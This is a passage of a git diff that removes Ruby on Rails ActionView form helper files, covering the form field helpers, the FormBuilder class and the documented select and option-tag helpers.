- # # <input type="checkbox" id="puppy_gooddog" name="puppy[gooddog]" value="yes" />
- #
- # check_box("eula", "accepted", { class: 'eula_check' }, "yes", "no")
- # # => <input name="eula[accepted]" type="hidden" value="no" />
- # # <input type="checkbox" class="eula_check" id="eula_accepted" name="eula[accepted]" value="yes" />
- def check_box(object_name, method, options = {}, checked_value = "1", unchecked_value = "0")
- Tags::CheckBox.new(object_name, method, self, checked_value, unchecked_value, options).render
- end
-
- # Returns a radio button tag for accessing a specified attribute (identified by +method+) on an object
- # assigned to the template (identified by +object+). If the current value of +method+ is +tag_value+ the
- # radio button will be checked.
- #
- # To force the radio button to be checked pass <tt>checked: true</tt> in the
- # +options+ hash. You may pass HTML options there as well.
- #
- # # Let's say that @post.category returns "rails":
- # radio_button("post", "category", "rails")
- # radio_button("post", "category", "java")
- # # => <input type="radio" id="post_category_rails" name="post[category]" value="rails" checked="checked" />
- # # <input type="radio" id="post_category_java" name="post[category]" value="java" />
- #
- # radio_button("user", "receive_newsletter", "yes")
- # radio_button("user", "receive_newsletter", "no")
- # # => <input type="radio" id="user_receive_newsletter_yes" name="user[receive_newsletter]" value="yes" />
- # # <input type="radio" id="user_receive_newsletter_no" name="user[receive_newsletter]" value="no" checked="checked" />
- def radio_button(object_name, method, tag_value, options = {})
- Tags::RadioButton.new(object_name, method, self, tag_value, options).render
- end
-
- # Returns a text_field of type "color".
- #
- # color_field("car", "color")
- # # => <input id="car_color" name="car[color]" type="color" value="#000000" />
- def color_field(object_name, method, options = {})
- Tags::ColorField.new(object_name, method, self, options).render
- end
-
- # Returns an input of type "search" for accessing a specified attribute (identified by +method+) on an object
- # assigned to the template (identified by +object_name+). Inputs of type "search" may be styled differently by
- # some browsers.
- #
- # search_field(:user, :name)
- # # => <input id="user_name" name="user[name]" type="search" />
- # search_field(:user, :name, autosave: false)
- # # => <input autosave="false" id="user_name" name="user[name]" type="search" />
- # search_field(:user, :name, results: 3)
- # # => <input id="user_name" name="user[name]" results="3" type="search" />
- # # Assume request.host returns "www.example.com"
- # search_field(:user, :name, autosave: true)
- # # => <input autosave="com.example.www" id="user_name" name="user[name]" results="10" type="search" />
- # search_field(:user, :name, onsearch: true)
- # # => <input id="user_name" incremental="true" name="user[name]" onsearch="true" type="search" />
- # search_field(:user, :name, autosave: false, onsearch: true)
- # # => <input autosave="false" id="user_name" incremental="true" name="user[name]" onsearch="true" type="search" />
- # search_field(:user, :name, autosave: true, onsearch: true)
- # # => <input autosave="com.example.www" id="user_name" incremental="true" name="user[name]" onsearch="true" results="10" type="search" />
- def search_field(object_name, method, options = {})
- Tags::SearchField.new(object_name, method, self, options).render
- end
-
- # Returns a text_field of type "tel".
- #
- # telephone_field("user", "phone")
- # # => <input id="user_phone" name="user[phone]" type="tel" />
- #
- def telephone_field(object_name, method, options = {})
- Tags::TelField.new(object_name, method, self, options).render
- end
- # aliases telephone_field
- alias phone_field telephone_field
-
- # Returns a text_field of type "date".
- #
- # date_field("user", "born_on")
- # # => <input id="user_born_on" name="user[born_on]" type="date" />
- #
- # The default value is generated by trying to call "to_date"
- # on the object's value, which makes it behave as expected for instances
- # of DateTime and ActiveSupport::TimeWithZone. You can still override that
- # by passing the "value" option explicitly, e.g.
- #
- # @user.born_on = Date.new(1984, 1, 27)
- # date_field("user", "born_on", value: "1984-05-12")
- # # => <input id="user_born_on" name="user[born_on]" type="date" value="1984-05-12" />
- #
- def date_field(object_name, method, options = {})
- Tags::DateField.new(object_name, method, self, options).render
- end
-
- # Returns a text_field of type "time".
- #
- # The default value is generated by trying to call +strftime+ with "%T.%L"
- # on the objects's value. It is still possible to override that
- # by passing the "value" option.
- #
- # === Options
- # * Accepts same options as time_field_tag
- #
- # === Example
- # time_field("task", "started_at")
- # # => <input id="task_started_at" name="task[started_at]" type="time" />
- #
- def time_field(object_name, method, options = {})
- Tags::TimeField.new(object_name, method, self, options).render
- end
-
- # Returns a text_field of type "datetime".
- #
- # datetime_field("user", "born_on")
- # # => <input id="user_born_on" name="user[born_on]" type="datetime" />
- #
- # The default value is generated by trying to call +strftime+ with "%Y-%m-%dT%T.%L%z"
- # on the object's value, which makes it behave as expected for instances
- # of DateTime and ActiveSupport::TimeWithZone.
- #
- # @user.born_on = Date.new(1984, 1, 12)
- # datetime_field("user", "born_on")
- # # => <input id="user_born_on" name="user[born_on]" type="datetime" value="1984-01-12T00:00:00.000+0000" />
- #
- def datetime_field(object_name, method, options = {})
- Tags::DatetimeField.new(object_name, method, self, options).render
- end
-
- # Returns a text_field of type "datetime-local".
- #
- # datetime_local_field("user", "born_on")
- # # => <input id="user_born_on" name="user[born_on]" type="datetime-local" />
- #
- # The default value is generated by trying to call +strftime+ with "%Y-%m-%dT%T"
- # on the object's value, which makes it behave as expected for instances
- # of DateTime and ActiveSupport::TimeWithZone.
- #
- # @user.born_on = Date.new(1984, 1, 12)
- # datetime_local_field("user", "born_on")
- # # => <input id="user_born_on" name="user[born_on]" type="datetime-local" value="1984-01-12T00:00:00" />
- #
- def datetime_local_field(object_name, method, options = {})
- Tags::DatetimeLocalField.new(object_name, method, self, options).render
- end
-
- # Returns a text_field of type "month".
- #
- # month_field("user", "born_on")
- # # => <input id="user_born_on" name="user[born_on]" type="month" />
- #
- # The default value is generated by trying to call +strftime+ with "%Y-%m"
- # on the object's value, which makes it behave as expected for instances
- # of DateTime and ActiveSupport::TimeWithZone.
- #
- # @user.born_on = Date.new(1984, 1, 27)
- # month_field("user", "born_on")
- # # => <input id="user_born_on" name="user[born_on]" type="date" value="1984-01" />
- #
- def month_field(object_name, method, options = {})
- Tags::MonthField.new(object_name, method, self, options).render
- end
-
- # Returns a text_field of type "week".
- #
- # week_field("user", "born_on")
- # # => <input id="user_born_on" name="user[born_on]" type="week" />
- #
- # The default value is generated by trying to call +strftime+ with "%Y-W%W"
- # on the object's value, which makes it behave as expected for instances
- # of DateTime and ActiveSupport::TimeWithZone.
- #
- # @user.born_on = Date.new(1984, 5, 12)
- # week_field("user", "born_on")
- # # => <input id="user_born_on" name="user[born_on]" type="date" value="1984-W19" />
- #
- def week_field(object_name, method, options = {})
- Tags::WeekField.new(object_name, method, self, options).render
- end
-
- # Returns a text_field of type "url".
- #
- # url_field("user", "homepage")
- # # => <input id="user_homepage" name="user[homepage]" type="url" />
- #
- def url_field(object_name, method, options = {})
- Tags::UrlField.new(object_name, method, self, options).render
- end
-
- # Returns a text_field of type "email".
- #
- # email_field("user", "address")
- # # => <input id="user_address" name="user[address]" type="email" />
- #
- def email_field(object_name, method, options = {})
- Tags::EmailField.new(object_name, method, self, options).render
- end
-
- # Returns an input tag of type "number".
- #
- # ==== Options
- # * Accepts same options as number_field_tag
- def number_field(object_name, method, options = {})
- Tags::NumberField.new(object_name, method, self, options).render
- end
-
- # Returns an input tag of type "range".
- #
- # ==== Options
- # * Accepts same options as range_field_tag
- def range_field(object_name, method, options = {})
- Tags::RangeField.new(object_name, method, self, options).render
- end
-
- private
-
- def instantiate_builder(record_name, record_object, options)
- case record_name
- when String, Symbol
- object = record_object
- object_name = record_name
- else
- object = record_name
- object_name = model_name_from_record_or_class(object).param_key
- end
-
- builder = options[:builder] || default_form_builder
- builder.new(object_name, object, self, options)
- end
-
- def default_form_builder
- builder = ActionView::Base.default_form_builder
- builder.respond_to?(:constantize) ? builder.constantize : builder
- end
- end
-
- class FormBuilder
- include ModelNaming
-
- # The methods which wrap a form helper call.
- class_attribute :field_helpers
- self.field_helpers = FormHelper.instance_methods - [:form_for, :convert_to_model, :model_name_from_record_or_class]
-
- attr_accessor :object_name, :object, :options
-
- attr_reader :multipart, :parent_builder, :index
- alias :multipart? :multipart
-
- def multipart=(multipart)
- @multipart = multipart
- parent_builder.multipart = multipart if parent_builder
- end
-
- def self._to_partial_path
- @_to_partial_path ||= name.demodulize.underscore.sub!(/_builder$/, '')
- end
-
- def to_partial_path
- self.class._to_partial_path
- end
-
- def to_model
- self
- end
-
- def initialize(object_name, object, template, options, block=nil)
- if block
- ActiveSupport::Deprecation.warn "Giving a block to FormBuilder is deprecated and has no effect anymore."
- end
-
- @nested_child_index = {}
- @object_name, @object, @template, @options = object_name, object, template, options
- @parent_builder = options[:parent_builder]
- @default_options = @options ? @options.slice(:index, :namespace) : {}
- if @object_name.to_s.match(/\[\]$/)
- if object ||= @template.instance_variable_get("@#{Regexp.last_match.pre_match}") and object.respond_to?(:to_param)
- @auto_index = object.to_param
- else
- raise ArgumentError, "object[] naming but object param and @object var don't exist or don't respond to to_param: #{object.inspect}"
- end
- end
- @multipart = nil
- @index = options[:index] || options[:child_index]
- end
-
- (field_helpers - [:label, :check_box, :radio_button, :fields_for, :hidden_field, :file_field]).each do |selector|
- class_eval <<-RUBY_EVAL, __FILE__, __LINE__ + 1
- def #{selector}(method, options = {}) # def text_field(method, options = {})
- @template.send( # @template.send(
- #{selector.inspect}, # "text_field",
- @object_name, # @object_name,
- method, # method,
- objectify_options(options)) # objectify_options(options))
- end # end
- RUBY_EVAL
- end
-
- def fields_for(record_name, record_object = nil, fields_options = {}, &block)
- fields_options, record_object = record_object, nil if record_object.is_a?(Hash) && record_object.extractable_options?
- fields_options[:builder] ||= options[:builder]
- fields_options[:parent_builder] = self
- fields_options[:namespace] = options[:namespace]
-
- case record_name
- when String, Symbol
- if nested_attributes_association?(record_name)
- return fields_for_with_nested_attributes(record_name, record_object, fields_options, block)
- end
- else
- record_object = record_name.is_a?(Array) ? record_name.last : record_name
- record_name = model_name_from_record_or_class(record_object).param_key
- end
-
- index = if options.has_key?(:index)
- options[:index]
- elsif defined?(@auto_index)
- self.object_name = @object_name.to_s.sub(/\[\]$/,"")
- @auto_index
- end
-
- record_name = index ? "#{object_name}[#{index}][#{record_name}]" : "#{object_name}[#{record_name}]"
- fields_options[:child_index] = index
-
- @template.fields_for(record_name, record_object, fields_options, &block)
- end
-
- def label(method, text = nil, options = {}, &block)
- @template.label(@object_name, method, text, objectify_options(options), &block)
- end
-
- def check_box(method, options = {}, checked_value = "1", unchecked_value = "0")
- @template.check_box(@object_name, method, objectify_options(options), checked_value, unchecked_value)
- end
-
- def radio_button(method, tag_value, options = {})
- @template.radio_button(@object_name, method, tag_value, objectify_options(options))
- end
-
- def hidden_field(method, options = {})
- @emitted_hidden_id = true if method == :id
- @template.hidden_field(@object_name, method, objectify_options(options))
- end
-
- def file_field(method, options = {})
- self.multipart = true
- @template.file_field(@object_name, method, objectify_options(options))
- end
-
- # Add the submit button for the given form. When no value is given, it checks
- # if the object is a new resource or not to create the proper label:
- #
- # <%= form_for @post do |f| %>
- # <%= f.submit %>
- # <% end %>
- #
- # In the example above, if @post is a new record, it will use "Create Post" as
- # submit button label, otherwise, it uses "Update Post".
- #
- # Those labels can be customized using I18n, under the helpers.submit key and accept
- # the %{model} as translation interpolation:
- #
- # en:
- # helpers:
- # submit:
- # create: "Create a %{model}"
- # update: "Confirm changes to %{model}"
- #
- # It also searches for a key specific for the given object:
- #
- # en:
- # helpers:
- # submit:
- # post:
- # create: "Add %{model}"
- #
- def submit(value=nil, options={})
- value, options = nil, value if value.is_a?(Hash)
- value ||= submit_default_value
- @template.submit_tag(value, options)
- end
-
- # Add the submit button for the given form. When no value is given, it checks
- # if the object is a new resource or not to create the proper label:
- #
- # <%= form_for @post do |f| %>
- # <%= f.button %>
- # <% end %>
- #
- # In the example above, if @post is a new record, it will use "Create Post" as
- # button label, otherwise, it uses "Update Post".
- #
- # Those labels can be customized using I18n, under the helpers.submit key
- # (the same as submit helper) and accept the %{model} as translation interpolation:
- #
- # en:
- # helpers:
- # submit:
- # create: "Create a %{model}"
- # update: "Confirm changes to %{model}"
- #
- # It also searches for a key specific for the given object:
- #
- # en:
- # helpers:
- # submit:
- # post:
- # create: "Add %{model}"
- #
- # ==== Examples
- # button("Create a post")
- # # => <button name='button' type='submit'>Create post</button>
- #
- # button do
- # content_tag(:strong, 'Ask me!')
- # end
- # # => <button name='button' type='submit'>
- # # <strong>Ask me!</strong>
- # # </button>
- #
- def button(value = nil, options = {}, &block)
- value, options = nil, value if value.is_a?(Hash)
- value ||= submit_default_value
- @template.button_tag(value, options, &block)
- end
-
- def emitted_hidden_id?
- @emitted_hidden_id ||= nil
- end
-
- private
- def objectify_options(options)
- @default_options.merge(options.merge(object: @object))
- end
-
- def submit_default_value
- object = convert_to_model(@object)
- key = object ? (object.persisted? ? :update : :create) : :submit
-
- model = if object.class.respond_to?(:model_name)
- object.class.model_name.human
- else
- @object_name.to_s.humanize
- end
-
- defaults = []
- defaults << :"helpers.submit.#{object_name}.#{key}"
- defaults << :"helpers.submit.#{key}"
- defaults << "#{key.to_s.humanize} #{model}"
-
- I18n.t(defaults.shift, model: model, default: defaults)
- end
-
- def nested_attributes_association?(association_name)
- @object.respond_to?("#{association_name}_attributes=")
- end
-
- def fields_for_with_nested_attributes(association_name, association, options, block)
- name = "#{object_name}[#{association_name}_attributes]"
- association = convert_to_model(association)
-
- if association.respond_to?(:persisted?)
- association = [association] if @object.send(association_name).is_a?(Array)
- elsif !association.respond_to?(:to_ary)
- association = @object.send(association_name)
- end
-
- if association.respond_to?(:to_ary)
- explicit_child_index = options[:child_index]
- output = ActiveSupport::SafeBuffer.new
- association.each do |child|
- options[:child_index] = nested_child_index(name) unless explicit_child_index
- output << fields_for_nested_model("#{name}[#{options[:child_index]}]", child, options, block)
- end
- output
- elsif association
- fields_for_nested_model(name, association, options, block)
- end
- end
-
- def fields_for_nested_model(name, object, options, block)
- object = convert_to_model(object)
-
- parent_include_id = self.options.fetch(:include_id, true)
- include_id = options.fetch(:include_id, parent_include_id)
- options[:hidden_field_id] = object.persisted? && include_id
- @template.fields_for(name, object, options, &block)
- end
-
- def nested_child_index(name)
- @nested_child_index[name] ||= -1
- @nested_child_index[name] += 1
- end
- end
- end
-
- ActiveSupport.on_load(:action_view) do
- cattr_accessor(:default_form_builder) { ::ActionView::Helpers::FormBuilder }
- end
-end
diff --git a/actionpack/lib/action_view/helpers/form_options_helper.rb b/actionpack/lib/action_view/helpers/form_options_helper.rb
deleted file mode 100644
index c0e7ee1f8d..0000000000
--- a/actionpack/lib/action_view/helpers/form_options_helper.rb
+++ /dev/null
@@ -1,783 +0,0 @@
-require 'cgi'
-require 'erb'
-require 'action_view/helpers/form_helper'
-require 'active_support/core_ext/string/output_safety'
-
-module ActionView
- # = Action View Form Option Helpers
- module Helpers
- # Provides a number of methods for turning different kinds of containers into a set of option tags.
- #
- # The <tt>collection_select</tt>, <tt>select</tt> and <tt>time_zone_select</tt> methods take an <tt>options</tt> parameter, a hash:
- #
- # * <tt>:include_blank</tt> - set to true or a prompt string if the first option element of the select element is a blank. Useful if there is not a default value required for the select element.
- #
- # select("post", "category", Post::CATEGORIES, {include_blank: true})
- #
- # could become:
- #
- # <select name="post[category]">
- # <option></option>
- # <option>joke</option>
- # <option>poem</option>
- # </select>
- #
- # Another common case is a select tag for a <tt>belongs_to</tt>-associated object.
- #
- # Example with @post.person_id => 2:
- #
- # select("post", "person_id", Person.all.collect {|p| [ p.name, p.id ] }, {include_blank: 'None'})
- #
- # could become:
- #
- # <select name="post[person_id]">
- # <option value="">None</option>
- # <option value="1">David</option>
- # <option value="2" selected="selected">Sam</option>
- # <option value="3">Tobias</option>
- # </select>
- #
- # * <tt>:prompt</tt> - set to true or a prompt string. When the select element doesn't have a value yet, this prepends an option with a generic prompt -- "Please select" -- or the given prompt string.
- #
- # select("post", "person_id", Person.all.collect {|p| [ p.name, p.id ] }, {prompt: 'Select Person'})
- #
- # could become:
- #
- # <select name="post[person_id]">
- # <option value="">Select Person</option>
- # <option value="1">David</option>
- # <option value="2">Sam</option>
- # <option value="3">Tobias</option>
- # </select>
- #
- # Like the other form helpers, +select+ can accept an <tt>:index</tt> option to manually set the ID used in the resulting output. Unlike other helpers, +select+ expects this
- # option to be in the +html_options+ parameter.
- #
- # select("album[]", "genre", %w[rap rock country], {}, { index: nil })
- #
- # becomes:
- #
- # <select name="album[][genre]" id="album__genre">
- # <option value="rap">rap</option>
- # <option value="rock">rock</option>
- # <option value="country">country</option>
- # </select>
- #
- # * <tt>:disabled</tt> - can be a single value or an array of values that will be disabled options in the final output.
- #
- # select("post", "category", Post::CATEGORIES, {disabled: 'restricted'})
- #
- # could become:
- #
- # <select name="post[category]">
- # <option></option>
- # <option>joke</option>
- # <option>poem</option>
- # <option disabled="disabled">restricted</option>
- # </select>
- #
- # When used with the <tt>collection_select</tt> helper, <tt>:disabled</tt> can also be a Proc that identifies those options that should be disabled.
- #
- # collection_select(:post, :category_id, Category.all, :id, :name, {disabled: lambda{|category| category.archived? }})
- #
- # If the categories "2008 stuff" and "Christmas" return true when the method <tt>archived?</tt> is called, this would return:
- # <select name="post[category_id]">
- # <option value="1" disabled="disabled">2008 stuff</option>
- # <option value="2" disabled="disabled">Christmas</option>
- # <option value="3">Jokes</option>
- # <option value="4">Poems</option>
- # </select>
- #
- module FormOptionsHelper
- # ERB::Util can mask some helpers like textilize. Make sure to include them.
- include TextHelper
-
- # Create a select tag and a series of contained option tags for the provided object and method.
- # The option currently held by the object will be selected, provided that the object is available.
- #
- # There are two possible formats for the choices parameter, corresponding to other helpers' output:
- # * A flat collection: see options_for_select
- # * A nested collection: see grouped_options_for_select
- #
- # Example with @post.person_id => 1:
- # select("post", "person_id", Person.all.collect {|p| [ p.name, p.id ] }, { include_blank: true })
- #
- # could become:
- #
- # <select name="post[person_id]">
- # <option value=""></option>
- # <option value="1" selected="selected">David</option>
- # <option value="2">Sam</option>
- # <option value="3">Tobias</option>
- # </select>
- #
- # This can be used to provide a default set of options in the standard way: before rendering the create form, a
- # new model instance is assigned the default options and bound to @model_name. Usually this model is not saved
- # to the database. Instead, a second model object is created when the create request is received.
- # This allows the user to submit a form page more than once with the expected results of creating multiple records.
- # In addition, this allows a single partial to be used to generate form inputs for both edit and create forms.
- #
- # By default, <tt>post.person_id</tt> is the selected option. Specify <tt>selected: value</tt> to use a different selection
- # or <tt>selected: nil</tt> to leave all options unselected. Similarly, you can specify values to be disabled in the option
- # tags by specifying the <tt>:disabled</tt> option. This can either be a single value or an array of values to be disabled.
- #
- # ==== Gotcha
- #
- # The HTML specification says when +multiple+ parameter passed to select and all options got deselected
- # web browsers do not send any value to server. Unfortunately this introduces a gotcha:
- # if an +User+ model has many +roles+ and have +role_ids+ accessor, and in the form that edits roles of the user
- # the user deselects all roles from +role_ids+ multiple select box, no +role_ids+ parameter is sent. So,
- # any mass-assignment idiom like
- #
- # @user.update_attributes(params[:user])
- #
- # wouldn't update roles.
- #
- # To prevent this the helper generates an auxiliary hidden field before
- # every multiple select. The hidden field has the same name as multiple select and blank value.
- #
- # This way, the client either sends only the hidden field (representing
- # the deselected multiple select box), or both fields. Since the HTML specification
- # says key/value pairs have to be sent in the same order they appear in the
- # form, and parameters extraction gets the last occurrence of any repeated
- # key in the query string, that works for ordinary forms.
- #
- # In case if you don't want the helper to generate this hidden field you can specify
- # <tt>include_hidden: false</tt> option.
- #
- def select(object, method, choices, options = {}, html_options = {})
- Tags::Select.new(object, method, self, choices, options, html_options).render
- end
-
- # Returns <tt><select></tt> and <tt><option></tt> tags for the collection of existing return values of
- # +method+ for +object+'s class. The value returned from calling +method+ on the instance +object+ will
- # be selected. If calling +method+ returns +nil+, no selection is made without including <tt>:prompt</tt>
- # or <tt>:include_blank</tt> in the +options+ hash.
- #
- # The <tt>:value_method</tt> and <tt>:text_method</tt> parameters are methods to be called on each member
- # of +collection+. The return values are used as the +value+ attribute and contents of each
- # <tt><option></tt> tag, respectively. They can also be any object that responds to +call+, such
- # as a +proc+, that will be called for each member of the +collection+ to
- # retrieve the value/text.
- #
- # Example object structure for use with this method:
- #
- # class Post < ActiveRecord::Base
- # belongs_to :author
- # end
- #
- # class Author < ActiveRecord::Base
- # has_many :posts
- # def name_with_initial
- # "#{first_name.first}. #{last_name}"
- # end
- # end
- #
- # Sample usage (selecting the associated Author for an instance of Post, <tt>@post</tt>):
- #
- # collection_select(:post, :author_id, Author.all, :id, :name_with_initial, prompt: true)
- #
- # If <tt>@post.author_id</tt> is already <tt>1</tt>, this would return:
- # <select name="post[author_id]">
- # <option value="">Please select</option>
- # <option value="1" selected="selected">D. Heinemeier Hansson</option>
- # <option value="2">D. Thomas</option>
- # <option value="3">M. Clark</option>
- # </select>
- def collection_select(object, method, collection, value_method, text_method, options = {}, html_options = {})
- Tags::CollectionSelect.new(object, method, self, collection, value_method, text_method, options, html_options).render
- end
-
- # Returns <tt><select></tt>, <tt><optgroup></tt> and <tt><option></tt> tags for the collection of existing return values of
- # +method+ for +object+'s class. The value returned from calling +method+ on the instance +object+ will
- # be selected. If calling +method+ returns +nil+, no selection is made without including <tt>:prompt</tt>
- # or <tt>:include_blank</tt> in the +options+ hash.
- #
- # Parameters:
- # * +object+ - The instance of the class to be used for the select tag
- # * +method+ - The attribute of +object+ corresponding to the select tag
- # * +collection+ - An array of objects representing the <tt><optgroup></tt> tags.
- # * +group_method+ - The name of a method which, when called on a member of +collection+, returns an
- # array of child objects representing the <tt><option></tt> tags.
- # * +group_label_method+ - The name of a method which, when called on a member of +collection+, returns a
- # string to be used as the +label+ attribute for its <tt><optgroup></tt> tag.
- # * +option_key_method+ - The name of a method which, when called on a child object of a member of
- # +collection+, returns a value to be used as the +value+ attribute for its <tt><option></tt> tag.
- # * +option_value_method+ - The name of a method which, when called on a child object of a member of
- # +collection+, returns a value to be used as the contents of its <tt><option></tt> tag.
- #
- # Example object structure for use with this method:
- #
- # class Continent < ActiveRecord::Base
- # has_many :countries
- # # attribs: id, name
- # end
- #
- # class Country < ActiveRecord::Base
- # belongs_to :continent
- # # attribs: id, name, continent_id
- # end
- #
- # class City < ActiveRecord::Base
- # belongs_to :country
- # # attribs: id, name, country_id
- # end
- #
- # Sample usage:
- #
- # grouped_collection_select(:city, :country_id, @continents, :countries, :name, :id, :name)
- #
- # Possible output:
- #
- # <select name="city[country_id]">
- # <optgroup label="Africa">
- # <option value="1">South Africa</option>
- # <option value="3">Somalia</option>
- # </optgroup>
- # <optgroup label="Europe">
- # <option value="7" selected="selected">Denmark</option>
- # <option value="2">Ireland</option>
- # </optgroup>
- # </select>
- #
- def grouped_collection_select(object, method, collection, group_method, group_label_method, option_key_method, option_value_method, options = {}, html_options = {})
- Tags::GroupedCollectionSelect.new(object, method, self, collection, group_method, group_label_method, option_key_method, option_value_method, options, html_options).render
- end
-
- # Return select and option tags for the given object and method, using
- # #time_zone_options_for_select to generate the list of option tags.
- #
- # In addition to the <tt>:include_blank</tt> option documented above,
- # this method also supports a <tt>:model</tt> option, which defaults
- # to ActiveSupport::TimeZone. This may be used by users to specify a
- # different time zone model object. (See +time_zone_options_for_select+
- # for more information.)
- #
- # You can also supply an array of ActiveSupport::TimeZone objects
- # as +priority_zones+, so that they will be listed above the rest of the
- # (long) list. (You can use ActiveSupport::TimeZone.us_zones as a convenience
- # for obtaining a list of the US time zones, or a Regexp to select the zones
- # of your choice)
- #
- # Finally, this method supports a <tt>:default</tt> option, which selects
- # a default ActiveSupport::TimeZone if the object's time zone is +nil+.
- #
- # time_zone_select( "user", "time_zone", nil, include_blank: true)
- #
- # time_zone_select( "user", "time_zone", nil, default: "Pacific Time (US & Canada)" )
- #
- # time_zone_select( "user", 'time_zone', ActiveSupport::TimeZone.us_zones, default: "Pacific Time (US & Canada)")
- #
- # time_zone_select( "user", 'time_zone', [ ActiveSupport::TimeZone['Alaska'], ActiveSupport::TimeZone['Hawaii'] ])
- #
- # time_zone_select( "user", 'time_zone', /Australia/)
- #
- # time_zone_select( "user", "time_zone", ActiveSupport::TimeZone.all.sort, model: ActiveSupport::TimeZone)
- def time_zone_select(object, method, priority_zones = nil, options = {}, html_options = {})
- Tags::TimeZoneSelect.new(object, method, self, priority_zones, options, html_options).render
- end
-
- # Accepts a container (hash, array, enumerable, your type) and returns a string of option tags. Given a container
- # where the elements respond to first and last (such as a two-element array), the "lasts" serve as option values and
- # the "firsts" as option text. Hashes are turned into this form automatically, so the keys become "firsts" and values
- # become lasts. If +selected+ is specified, the matching "last" or element will get the selected option-tag. +selected+
- # may also be an array of values to be selected when using a multiple select.
- #
- # options_for_select([["Dollar", "$"], ["Kroner", "DKK"]])
- # # => <option value="$">Dollar</option>
- # # => <option value="DKK">Kroner</option>
- #
- # options_for_select([ "VISA", "MasterCard" ], "MasterCard")
- # # => <option>VISA</option>
- # # => <option selected="selected">MasterCard</option>
- #
- # options_for_select({ "Basic" => "$20", "Plus" => "$40" }, "$40")
- # # => <option value="$20">Basic</option>
- # # => <option value="$40" selected="selected">Plus</option>
- #
- # options_for_select([ "VISA", "MasterCard", "Discover" ], ["VISA", "Discover"])
- # # => <option selected="selected">VISA</option>
- # # => <option>MasterCard</option>
- # # => <option selected="selected">Discover</option>
- #
- # You can optionally provide html attributes as the last element of the array.
- #
- # options_for_select([ "Denmark", ["USA", {class: 'bold'}], "Sweden" ], ["USA", "Sweden"])
- # # => <option value="Denmark">Denmark</option>
- # # => <option value="USA" class="bold" selected="selected">USA</option>
- # # => <option value="Sweden" selected="selected">Sweden</option>
- #
- # options_for_select([["Dollar", "$", {class: "bold"}], ["Kroner", "DKK", {onclick: "alert('HI');"}]])
- # # => <option value="$" class="bold">Dollar</option>
- # # => <option value="DKK" onclick="alert('HI');">Kroner</option>
- #
- # If you wish to specify disabled option tags, set +selected+ to be a hash, with <tt>:disabled</tt> being either a value
- # or array of values to be disabled. In this case, you can use <tt>:selected</tt> to specify selected option tags.
- #
- # options_for_select(["Free", "Basic", "Advanced", "Super Platinum"], disabled: "Super Platinum")
- # # => <option value="Free">Free</option>
- # # => <option value="Basic">Basic</option>
- # # => <option value="Advanced">Advanced</option>
- # # => <option value="Super Platinum" disabled="disabled">Super Platinum</option>
- #
- # options_for_select(["Free", "Basic", "Advanced", "Super Platinum"], disabled: ["Advanced", "Super Platinum"])
- # # => <option value="Free">Free</option>
- # # => <option value="Basic">Basic</option>
- # # => <option value="Advanced" disabled="disabled">Advanced</option>
- # # => <option value="Super Platinum" disabled="disabled">Super Platinum</option>
- #
- # options_for_select(["Free", "Basic", "Advanced", "Super Platinum"], selected: "Free", disabled: "Super Platinum")
- # # => <option value="Free" selected="selected">Free</option>
- # # => <option value="Basic">Basic</option>
- # # => <option value="Advanced">Advanced</option>
- # # => <option value="Super Platinum" disabled="disabled">Super Platinum</option>
- #
- # NOTE: Only the option tags are returned, you have to wrap this call in a regular HTML select tag.
- def options_for_select(container, selected = nil)
- return container if String === container
-
- selected, disabled = extract_selected_and_disabled(selected).map do |r|
- Array(r).map { |item| item.to_s }
- end
-
- container.map do |element|
- html_attributes = option_html_attributes(element)
- text, value = option_text_and_value(element).map { |item| item.to_s }
-
- html_attributes[:selected] = 'selected' if option_value_selected?(value, selected)
- html_attributes[:disabled] = 'disabled' if disabled && option_value_selected?(value, disabled)
- html_attributes[:value] = value
-
- content_tag_string(:option, text, html_attributes)
- end.join("\n").html_safe
- end
-
- # Returns a string of option tags that have been compiled by iterating over the +collection+ and assigning
- # the result of a call to the +value_method+ as the option value and the +text_method+ as the option text.
- #
- # options_from_collection_for_select(@people, 'id', 'name')
- # # => <option value="#{person.id}">#{person.name}</option>
- #
- # This is more often than not used inside a #select_tag like this example:
- #
- # select_tag 'person', options_from_collection_for_select(@people, 'id', 'name')
- #
- # If +selected+ is specified as a value or array of values, the element(s) returning a match on +value_method+
- # will be selected option tag(s).
- #
- # If +selected+ is specified as a Proc, those members of the collection that return true for the anonymous
- # function are the selected values.
- #
- # +selected+ can also be a hash, specifying both <tt>:selected</tt> and/or <tt>:disabled</tt> values as required.
- #
- # Be sure to specify the same class as the +value_method+ when specifying selected or disabled options.
- # Failure to do this will produce undesired results. Example:
- # options_from_collection_for_select(@people, 'id', 'name', '1')
- # Will not select a person with the id of 1 because 1 (an Integer) is not the same as '1' (a string)
- # options_from_collection_for_select(@people, 'id', 'name', 1)
- # should produce the desired results.
- def options_from_collection_for_select(collection, value_method, text_method, selected = nil)
- options = collection.map do |element|
- [value_for_collection(element, text_method), value_for_collection(element, value_method)]
- end
- selected, disabled = extract_selected_and_disabled(selected)
- select_deselect = {
- :selected => extract_values_from_collection(collection, value_method, selected),
- :disabled => extract_values_from_collection(collection, value_method, disabled)
- }
-
- options_for_select(options, select_deselect)
- end
-
- # Returns a string of <tt><option></tt> tags, like <tt>options_from_collection_for_select</tt>, but
- # groups them by <tt><optgroup></tt> tags based on the object relationships of the arguments.
- #
- # Parameters:
- # * +collection+ - An array of objects representing the <tt><optgroup></tt> tags.
- # * +group_method+ - The name of a method which, when called on a member of +collection+, returns an
- # array of child objects representing the <tt><option></tt> tags.
- # * group_label_method+ - The name of a method which, when called on a member of +collection+, returns a
- # string to be used as the +label+ attribute for its <tt><optgroup></tt> tag.
- # * +option_key_method+ - The name of a method which, when called on a child object of a member of
- # +collection+, returns a value to be used as the +value+ attribute for its <tt><option></tt> tag.
- # * +option_value_method+ - The name of a method which, when called on a child object of a member of
- # +collection+, returns a value to be used as the contents of its <tt><option></tt> tag.
- # * +selected_key+ - A value equal to the +value+ attribute for one of the <tt><option></tt> tags,
- # which will have the +selected+ attribute set. Corresponds to the return value of one of the calls
- # to +option_key_method+. If +nil+, no selection is made. Can also be a hash if disabled values are
- # to be specified.
- #
- # Example object structure for use with this method:
- #
- # class Continent < ActiveRecord::Base
- # has_many :countries
- # # attribs: id, name
- # end
- #
- # class Country < ActiveRecord::Base
- # belongs_to :continent
- # # attribs: id, name, continent_id
- # end
- #
- # Sample usage:
- # option_groups_from_collection_for_select(@continents, :countries, :name, :id, :name, 3)
- #
- # Possible output:
- # <optgroup label="Africa">
- # <option value="1">Egypt</option>
- # <option value="4">Rwanda</option>
- # ...
